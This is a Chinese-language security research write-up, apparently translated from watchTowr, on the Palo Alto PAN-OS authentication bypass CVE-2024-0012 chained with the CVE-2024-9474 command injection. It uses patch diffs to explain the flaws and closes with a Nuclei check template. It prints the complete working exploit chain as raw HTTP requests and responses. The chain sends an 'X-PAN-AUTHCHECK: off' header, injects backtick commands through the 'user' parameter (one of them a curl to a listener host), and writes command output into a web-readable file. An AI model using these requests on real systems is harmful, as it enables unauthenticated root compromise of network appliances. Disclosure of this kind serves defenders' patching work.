第 1 阶段 - 身份验证绕过 - CVE-2024-0012
查看主要的 Nginx 路由配置 -/etc/nginx/conf/locations.conf发现了相当有限(但影响很大)的变化:
add_header Allow "GET, HEAD, POST, PUT, DELETE, OPTIONS"; if ($request_method !~ ^(GET|HEAD|POST|PUT|DELETE|OPTIONS)$) { return 405; } +proxy_set_header X-Real-IP ""; +proxy_set_header X-Real-Scheme ""; +proxy_set_header X-Real-Port ""; +proxy_set_header X-Real-Server-IP ""; +proxy_set_header X-Forwarded-For ""; +proxy_set_header X-pan-ndpp-mode ""; +proxy_set_header Proxy ""; +proxy_set_header X-pan-AuthCheck 'on'; # rewrite_log on; # static ones @@ -27,6 +17,5 @@ location /nginx_status { location ~ \.js\.map$ { add_header Cache-Control "no-cache; no-store"; proxy_pass_header Authorization; + include conf/proxy_default.conf; proxy_pass http://$gohost$gohostExt; }
虽然看起来不多,但这里足以推断出 CVE-2024-0012 的入口点。这告诉我们什么?嗯,两件至关重要的事。首先,我们可以看到,在任何路由或处理的定义之前,已经设置了一堆请求标头,而事实并非如此 - 最重要的是,在定义任何路由处理之前,这个X-pan-AuthCheck控制身份验证的值现在被on默认设置为。
其次,我们可以看到conf/proxy_default.conf(其中还设置了默认标头,包括 X-pan-AuthCheck)已被添加到.js.mapURI 处理程序中 - 而之前这是稍后设置的。
经过一些快速推断,看起来在以前未修补的版本中,Nginx 之前没有在此指令内正确设置身份验证标头 - 这是否允许我们滥用 proxypass 声明来发送没有配置 HTTP 请求标头 X-pan-Authcheck 的请求到所谓的“受保护”的端点?
利用我们对 Nginx proxypass 滥用案例的了解,我们思考了每个人都信任的保护其通信和内部网络安全的企业级安全设备的现状,并测试了各种变体,看看是否有任何一种可以让我们通过,例如:
/php/ztp_gate.php%3f.js.map /php/ztp_gate.php?.js.map /php/ztp_gate.php#.js.map /php/ztp_gate.php/.js.map
这些都不起作用:
GET /php/ztp_gate.php/.js.map HTTP/1.1 Host: 18.142.51.124 HTTP/1.1 302 Found Date: Tue, 19 Nov 2024 10:04:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive Set-Cookie: PHPSESSID=bu82e0mthttbaqbp6djh0lgpd9; path=/; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: /php/login.php? Cache-Control: no-cache; no-store
我们有点闷闷不乐,直到头顶上出现了一道明亮的光。
脚本uiEnvSetup.php要求HTTP_X_PAN_AUTHCHECK将值设置为off,这是之前被 Nginx 阻止的。也许我们可以直接提供它?
稍微开明一点——我们再次尝试:
GET /php/ztp_gate.php/.js.map HTTP/1.1 Host: {{Hostname}} X-PAN-AUTHCHECK: off HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 10:05:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4635 Connection: keep-alive Set-Cookie: PHPSESSID=m1sea0p2n2p89kncqked9sd2p1; path=/; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Security-Policy: default-src 'self'; connect-src 'self' data.pendo.io app.pendo.io pendo-static-5839728945463296.storage.googleapis.com; script-src 'self' 'unsafe-eval' 'unsafe-inline' app.pendo.io pendo-io-static.storage.googleapis.com cdn.pendo.io pendo-static-5839728945463296.storage.googleapis.com data.pendo.io; style-src 'self' 'unsafe-inline' app.pendo.io cdn.pendo.io pendo-static-5839728945463296.storage.googleapis.com; img-src 'self' data: cdn.pendo.io app.pendo.io pendo-static-5839728945463296.storage.googleapis.com data.pendo.io; frame-ancestors 'self' app.pendo.io; child-src 'self' app.pendo.io; form-action 'self' 'unsafe-eval' 'unsafe-inline' Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: DENY X-XSS-Protection: 1; mode=block Cache-Control: no-cache; no-store <html> <head> <title>Zero Touch Provisioning</title>
我们只需……将off值提供给X-PAN-AUTHCHECKHTTP 请求标头,服务器就会自动关闭身份验证?!此时,为什么有人感到惊讶?
没错,各位,这是一个CVE-2024-0012 的简单复现器。再简单不过了。
进入第二阶段,privesc 漏洞!
现在闸门已经打开,各种后认证 PHP 功能都已触手可及。通常从现在开始,下一步 RCE 就取决于我们的创造力了。
让我们通过继续差异分析来看看威胁行为者发现了什么。
一个令我们非常关注的文件是 中的更改/var/appweb/htdocs/php-packages/panui_core/src/log/AuditLog.php,它揭示了一个非常诚实的命令注入:
<?php namespace panui_core\log; use pan_core\InjectableClass; use pan_process\Process; use pan_process\ShellSanitizer; class AuditLog extends InjectableClass { public function write($username, $message) { /** @var ShellSanitizer */ $s = $this->ioc->get(ShellSanitizer::class); $msg = $s->escapeshellarg($message); /** @var Process */ $p = $this->ioc->get(Process::class); - return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $username"); + $u = $s->escapeshellarg($username); + return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $u"); } }
没有比这更直接的了。
不知何故,用户能够将包含 shell 元字符的用户名传递给AuditLog.write()函数,然后将其值传递给pexecute()。
查看其他更改时,我们发现一个更改相当大的文件 - /var/appweb/htdocs/php/utils/createRemoteAppwebSession.php。
<?php WebSession::start(); /** @noinspection PhpUndefinedFunctionInspection */ $isCms = panui_platform_is_cms(); if ($isCms == 0) { // create a remote appweb session only on a device // 'vsys' is the list of accessible vsys for the user. If blank then it means all vsys $locale = isset($_POST['locale']) ? $_POST['locale'] : $_SESSION['locale']; + $user = $_POST['user']; + $userRole = $_POST['userRole']; + $remoteHost = $_POST['remoteHost']; + $vsys = $_POST['vsys']; + $editShared = $_POST['editShared']; + $protocol = $_POST['prot']; + $serverPort = $_SERVER['SERVER_PORT']; + $rbaXml = $_POST['rbaxml']; + $hideHeaderBg = $_POST['hideHeaderBg']; + if (strlen($user) <= 63 + && strlen ($userRole) < 256 + && strlen ($remoteHost) < 256 + && strlen ($vsys) < 128 + && strlen ($editShared) < 128 + && strlen ($protocol) < 128 + && strlen ($serverPort) < 128 + && strlen ($rbaXml) < 1024 * 1024 + && strlen ($locale) < 256 + && strlen ($hideHeaderBg) < 128 + ) { /** @noinspection PhpUndefinedFunctionInspection */ panCreateRemoteAppwebSession( - $_POST['user'], + $user, - $_POST['userRole'], + $userRole, - $_POST['remoteHost'], + $remoteHost, - $_POST['vsys'], + $vsys, - $_POST['editShared'], + $editShared, - $_POST['prot'], + $protocol, - $_SERVER['SERVER_PORT'], + $serverPort, - $_POST['rbaxml'], + $rbaXml, $locale, - $_POST['hideHeaderBg'], + $hideHeaderBg ); + } else { + error_log("An invalid attempt was made with mismatched lengths while attempting to create a remote appweb session"); + } } session_write_close();
在我们进一步讨论之前,我们对此功能的理解有点疯狂。
我们的理解是,此功能可让 Palo Alto Panorama 用户有效地“跳入”连接的 SSLVPN/防火墙设备 - 如上所示,无需实际身份验证(即有效密码)。此功能允许 Palo Alto Panorma 设备指定他们想要模拟的用户、用户角色等 - 并以非常友好的方式提供完全经过身份验证、无需 2FA 的有效 PHP 会话 ID。
初看之下,很明显该功能似乎是根据收到的 HTTP 请求中传递的 POST 参数值创建一个 PHP 会话(针对看似任意的用户和看似任意的角色)。
一瞬间,我们被引入的长度检查吓了一跳——这会不会成为某种不寻常的内存损坏漏洞?然后我们笑了,因为从来没有任何看起来像是复杂的东西需要用到设备中。
我们的理论很简单 - 通过“用户”参数传递的值可能会进入$_SESSION ['userName'],正如我们上面看到的,它看起来像是命令注入漏洞补丁的来源。
不用担心 - 我们决定继续并创建一个有效的 HTTP 请求,使用我们前面提到的身份验证绕过,以及“用户”键的 HTTP post 参数值,其中包含curl对我们的外部监听主机的简单命令:
POST /php/utils/createRemoteAppwebSession.php/aaaa.js.map HTTP/1.1 Host: {{Hostname}} X-PAN-AUTHCHECK: off Content-Type: application/x-www-form-urlencoded Content-Length: 99 user=`curl {{listening-host}}`&userRole=superuser&remoteHost=&vsys=vsys1
这将返回一个很好的 PHP 会话 ID 值:
HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 09:06:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 48 Connection: keep-alive Set-Cookie: PHPSESSID=isbhbjpdkhvmkhio0hcpsgmtk6; path=/; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Cache-Control: no-cache; no-store @start@PHPSESSID=isbhbjpdkhvmkhio0hcpsgmtk6@end@
快速查看文件系统表明我们的有效载荷紧密位于会话内容中,并且如预期的那样,位于“userName”键中(即 $_SESSION['userName']):
[root@PA-VM /]# cat ./opt/pancfg/mgmt/phpsessions/sess_isbhbjpdkhvmkhio0hcpsgmtk6 cmsRemoteSession|s:1:"1";panorama_sessionid|s:5:"dummy";user|s:16:"XXXX";userName|s:52:"`curl {{listening-host}}`";userRole|s:9:"superuser"
在这里,我们希望诚实地给出这个漏洞的真正位置,从源头到终端,的完整追踪,但是,有时候,你只需要用大锤而不是镊子。将有效载荷注入到正确的位置后,我们开始用闪亮的攻击所有端点PHPSESSID。由于受命令注入影响的代码位于审计日志编写代码中,我们只是冒险并发出了请求 - 使用我们在 index.php 上新创建和伪造的 PHP 会话。
GET /index.php/.js.map HTTP/1.1 Host: {{Hostname}} Cookie: PHPSESSID=2jq4l1nv43idudknmhj830vdde; X-PAN-AUTHCHECK: off Connection: keep-alive
底层的命令看起来有点像这样(感谢pspy!):
CMD: UID=0 PID=87502 | sh -c export panusername="`curl {{listening-host}}`";export superuser="1";export isxml="yes";/usr/local/bin/sdb -e -n ha.app.local.state
请暂停一下。现在是 2024 年。我们已经表明了我们的观点,所以我们不再多说了。
完整的链条看起来是这样的:
POST /php/utils/createRemoteAppwebSession.php/watchTowr.js.map HTTP/1.1 Host: {{Hostname}} X-PAN-AUTHCHECK: off Content-Type: application/x-www-form-urlencoded Content-Length: 107 user=`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`&userRole=superuser&remoteHost=&vsys=vsys1
GET /index.php/.js.map HTTP/1.1 Host: {{Hostname}} Cookie: PHPSESSID=2qe3kouhjdm8317f6vmueh1m8n; X-PAN-AUTHCHECK: off Connection: keep-alive GET /unauth/watchTowr.php HTTP/1.1 Host: 192.168.1.227 Cookie: PHPSESSID=fvepfik7vrmvdlkns30rgpn1jb; X-PAN-AUTHCHECK: off Connection: keep-alive
这会导致我们注入的命令被执行:
HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 09:39:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 108 Connection: keep-alive Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS Linux PA-VM 4.18.0-240.1.1.20.pan.x86_64 #1 SMP Wed Jul 31 20:37:12 PDT 2024 x86_64 x86_64 x86_64 GNU/Linu
参考链接:
于是,又一种超级安全的下一代强化安全设备诞生了。
这次是由于那些讨厌的反引号,再加上要求服务器不要通过检查我们的身份验证的超级复杂步骤X-PAN-AUTHCHECK。
令人惊奇的是,这两个漏洞竟然存在于生产设备中,而且是通过隐藏在 Palo Alto 设备内部的大量 Shell 脚本调用实现的。
老读者可能会期待一个不错的 PoC,虽然我们很乐意提供一个,但我们会推迟一周左右发布,以让管理员有时间进行修补 - 但相反,我们发布了一个 Nuclei 模板,您可以使用它来检查您的主机是否受到影响。
id: palo-alto-vpn-CVE-2024-0012-check-wt info: name: Palo Alto PAN-OS Authentication Bypass in the Management Web Interface CVE-2024-0012 author: watchTowr severity: critical description: An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474. tags: palo-alto metadata: max-request: 4 http: - method: GET path: - "{{BaseURL}}/php/utils/CmsGetDeviceSoftwareVersion.php/.js.map" headers: X-PAN-AUTHCHECK: off stop-at-first-match: true matchers-condition: and matchers: - type: word condition: or words: - "0.0.0" - type: status status: - 200 - type: word part: header words: - "Expires: 0" - "PHPSESSID=" - "application/json"
PAN-OS auth bypass + RCE
https://github.com/Chocapikk/CVE-2024-9474